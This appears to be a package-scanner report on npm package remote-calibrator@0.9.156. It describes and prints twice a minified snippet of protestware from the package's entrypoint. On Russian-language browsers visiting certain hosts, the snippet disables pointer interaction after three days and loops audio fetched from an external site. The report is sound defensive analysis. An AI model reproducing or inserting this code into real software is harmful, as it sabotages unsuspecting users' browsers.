Loading npm security reports…

remote-calibrator@0.9.156: Malicious npm security report (Block) | LPM Firewall

registry / remote-calibrator / 0.9.156

remote-calibrator@0.9.156

Useful calibration tools for remote psychophysics experiments

AI Security Review

scanned 11h ago · by lpm-firewall-ai

The browser entrypoint conditionally disrupts pages visited from Russian-language browsers on selected host suffixes. After a recorded first visit ages past three days, it blocks pointer interaction and repeatedly plays an externally hosted audio file.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Loading the package entrypoint in a browser with a Russian-language setting on a host ending in .ru, .su, .by, or .xn--p1ai, followed by a later visit more than three days after the timestamp was stored.

Impact

Users on affected pages can no longer interact through pointer events and are subjected to looping political audio.

Mechanism

The code sets the page body's pointer events to none, adds a looping audio element sourced from flag-gimn.ru, and attempts playback after a short delay.

Attack narrative

When the browser language begins with Russian and the current host ends with a listed suffix, the bundle stores a timestamp in local storage. On a later visit after three days, it disables pointer interaction and attempts to play a looping audio file hosted at flag-gimn.ru. This is targeted browser disruption and protestware behavior.

AI rationale

The package entrypoint contains a delayed, geographically and linguistically targeted browser disruption that plays looping political audio. This is concrete protestware behavior, so the package should be blocked.

Evidence

lib/RemoteCalibrator.min.js

Network endpoints1

flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3

Decision evidence

Source & flagged code

7 flagged · loading source

lib/RemoteCalibrator.min.jsView file

•n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

lib/RemoteCalibrator.min.jsView on unpkg

•Trigger-reachable chain: manifest.main -> lib/RemoteCalibrator.min.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/RemoteCalibrator.min.jsView on unpkg

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/RemoteCalibrator.min.jsView on unpkg

2tiveElement.blur&&document.activeElement.blur()};if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){const e=new Date,t=localStorage.getItem("swal-initiation");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.appendChild(e),setTimeout((()=>{e.play().catch((()=>{}))}),2500)}),500):localStor

High

Ai Review Evidence

On Russian-language browsers visiting selected host suffixes, the bundle records a first-visit timestamp and, after three days, disables page interaction and loops an external Ukraine-themed audio file.

lib/RemoteCalibrator.min.jsView on unpkg · L2

1/*! For license information please see RemoteCalibrator.min.js.LICENSE.txt */ L2: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.RemoteCalibr... L3: //# sourceMappingURL=RemoteCalibrator.min.js.map

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/RemoteCalibrator.min.jsView on unpkg · L1

package.jsonView file

5"main": "lib/RemoteCalibrator.min.js", "directories": { "lib": "lib", "homepage": "homepage" }, "scripts": { "setup": "git submodule update --init --recursive && cd src/WebGazer4RC && bun i && cd ../.. && bun i", "format:biome": "biome

High

Ai Review Evidence

The package's main entrypoint is the bundled JavaScript file containing the conditional browser behavior.

package.jsonView on unpkg · L5

19"prepare": "husky install", "netlify"

High

Suspicious Lifecycle Evidence

The package declares only a prepare hook that installs Husky; the harmful behavior is in its browser entrypoint, not an install hook.

package.jsonView on unpkg · L19

Source & flagged code

7 flagged

lib/RemoteCalibrator.min.jsView file

•n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

lib/RemoteCalibrator.min.jsView on unpkg

•Trigger-reachable chain: manifest.main -> lib/RemoteCalibrator.min.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/RemoteCalibrator.min.jsView on unpkg

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/RemoteCalibrator.min.jsView on unpkg

2tiveElement.blur&&document.activeElement.blur()};if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){const e=new Date,t=localStorage.getItem("swal-initiation");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.appendChild(e),setTimeout((()=>{e.play().catch((()=>{}))}),2500)}),500):localStor

High

Ai Review Evidence

On Russian-language browsers visiting selected host suffixes, the bundle records a first-visit timestamp and, after three days, disables page interaction and loops an external Ukraine-themed audio file.

lib/RemoteCalibrator.min.jsView on unpkg · L2

1/*! For license information please see RemoteCalibrator.min.js.LICENSE.txt */ L2: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.RemoteCalibr... L3: //# sourceMappingURL=RemoteCalibrator.min.js.map

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/RemoteCalibrator.min.jsView on unpkg · L1

package.jsonView file

Lines 1-39json

1{

2 "name": "remote-calibrator",

3 "version": "0.9.156",

4 "description": "Useful calibration tools for remote psychophysics experiments",

5 "main": "lib/RemoteCalibrator.min.js",

6